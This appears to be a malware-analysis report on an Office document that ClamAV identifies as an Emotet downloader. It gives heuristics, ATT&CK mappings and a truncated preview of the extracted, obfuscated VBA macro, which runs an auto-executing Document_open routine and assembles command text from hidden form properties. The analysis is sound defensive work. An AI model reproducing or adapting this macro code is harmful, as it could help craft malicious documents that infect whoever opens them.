MALICIOUS
302
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1059 Command and Scripting Interpreter
The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the Document_Open heuristic. The macro utilizes CreateObject and GetObject calls, characteristic of Emotet's downloader functionality. ClamAV detection confirms the presence of Emotet, specifically a downloader variant. The macro's obfuscated nature and reliance on auto-execution point to its role in fetching and running a secondary payload.
Heuristics 8
-
ClamAV: Doc.Downloader.Emotet-7458829-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-7458829-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8161 bytes |
SHA-256: 492682957ab5de93c2cfff127315cb1915035ffa9673791ddd623009b8b4d619 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Ictntjyrbl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Qwqqugcima, 0, 0, MSForms, TextBox"
Private Sub Document_open()
Dim Okwbonvgg
Dim Itvuzdaoqb
For Rdbpdressn = Lwavlepsw To 0
Nhiikfvbdfx = xPI
Tzdvngcda = CDbl(3)
Nyspbrsvgigrv = Tan(MyeW5A)
Kgjgmgej = 4 - Bxehjjmckumn
Lmcqxmhhdjwwt = (3 - Rjoixaunowyt)
Xrwakuzenm = Uuvknqsjtl
Izryntyss = CDbl(6)
Szwiztmvc = Tan(Gzsdjibfql)
Next
Dim Rpixvzymjfkx
Dim Rtprqkqgrlqz
For Iuiednrieivv = Lwavlepsw To 0
Cemauwnulsr = xPI
Lyxgwsed = CDbl(3)
Gucajpgwudbdm = Tan(MyeW5A)
Fjfoipnwmgk = 4 - Zcbmngfg
Eeewwdahlxqrj = (3 - Gityquziews)
Pgtknnbkdsq = Yzjlhtcxhy
Bcfwazeal = CDbl(6)
Dgevxecpc = Tan(Vaytpyzrh)
Next
Dim Yffwixyedglb
Dim Kvyuihlaotu
For Djvoqjdjbm = Lwavlepsw To 0
Zlxhgqbfyju = xPI
Ryhyqmcnluuis = CDbl(3)
Xdjiqgiwosic = Tan(MyeW5A)
Ouobrzlwlka = 4 - Oqcznwkh
Mepjcsfi = (3 - Xwafgavgbs)
Jgtflsugi = Ucxcqjdfbqxc
Xtmaegcbeuj = CDbl(6)
Hnndzqdgdjyew = Tan(Xrmdboozhf)
Next
Vtkezbyzg
End Sub
Attribute VB_Name = "Gsmkjbjtixeo"
Attribute VB_Base = "0{CEB4F36E-2195-43AF-9E15-CE40372A5B17}{0804F7DD-91BF-49C0-9FE6-B295367EDA41}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Ossmyzonhzdrq"
Function Sajjfmvotcq()
Dim Guvguobdxxmpx
Dim Yslrrgxpas
For Jhfljqamhtfa = Lwavlepsw To 0
Afhvxfauyw = xPI
Aqifuoitsvsm = CDbl(3)
Wkbenksffrieu = Tan(MyeW5A)
Oijsrqkdcyqs = 4 - Fnusyipttiia
Qxquczemiu = (3 - Mhygwsmmae)
Wxeuobjrvz = Iwpgosfag
Iunmqnikmjdxf = CDbl(6)
Xhkunmuuxz = Tan(Xhynfgavz)
Next
Sjjpwiksncgpq = Ictntjyrbl.Qwqqugcima
Dim Nrmlqmuxlj
Dim Tmjypuaycdo
For Pjjlwxzausu = Lwavlepsw To 0
Pladbjyitj = xPI
Atyhjkcnvadl = CDbl(3)
Lcnyuprcfpx = Tan(MyeW5A)
Fzgwahsv = 4 - Tkirtroi
Lxwvupnbxoj = (3 - Hxooecduth)
Nlxxlqgiiqhd = Ktryprjz
Fcjflwsqvbgd = CDbl(6)
Mxcbcqpl = Tan(Sjdvrjko)
Next
Lexqzqgeinxp = Sjjpwiksncgpq + Gsmkjbjtixeo.Yvgjfbvojj + Gsmkjbjtixeo.Cfyzuyenw + Gsmkjbjtixeo.Ogzqgnqiy
Dim Dnzrpbrmnvrmi
Dim Fhzfvmocyfxl
For Hbamzontedax = Lwavlepsw To 0
Ljbvgabjhtg = xPI
Lalrpiufura = CDbl(3)
Elcvexgarp = Tan(MyeW5A)
Fhqyuhfp = 4 - Tsmlolir
Mvwqgloi = (3 - Tkhpkbegzju)
Csjjtjurzx = Klzrisxmmii
Anhbrhgskuyxc = CDbl(6)
Iwuneaapeprqx = Tan(Ukyntvnpipwwz)
Next
Apgfnqkgn = Lexqzqgeinxp + Gsmkjbjtixeo.Rwiuxdzvtzp + Gsmkjbjtixeo.Lweqddbkiq
Dim Hledyvsoh
Dim Tvgwbestatxjl
For Dejxpoup = Lwavlepsw To 0
Dyzcyksmsvdcl = xPI
Gowojctkxso = CDbl(3)
Ylyguzyftr = Tan(MyeW5A)
Fxsxxashij = 4 - Acujobjkeingx
Lejmxufeea = (3 - Svybolaf)
Orrhrewkm = Rhcywcduypjba
Ghyvwrrgpsv = CDbl(6)
Bhuombao = Tan(Rixlspeq)
Next
Sajjfmvotcq = Gbleyjageea + Apgfnqkgn + Gbleyjageea
Dim Xvbzmawqiet
Dim Ycgpshxdcjm
For Hqkzomdnep = Lwavlepsw To 0
Lmdxrhdap = xPI
Vuykekumoc = CDbl(3)
Fgiphadtmgkg = Tan(MyeW5A)
Flbjwvpgpfqb = 4 - Jdmdltxr
Valyypkrpkej = (3 - Gedzqczfb)
Itgvbvncjn = Qhavympyas
Gqxbgrpzmppvd = CDbl(6)
Oqhbrkunsqg = Tan(Majqmiokxmvr)
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.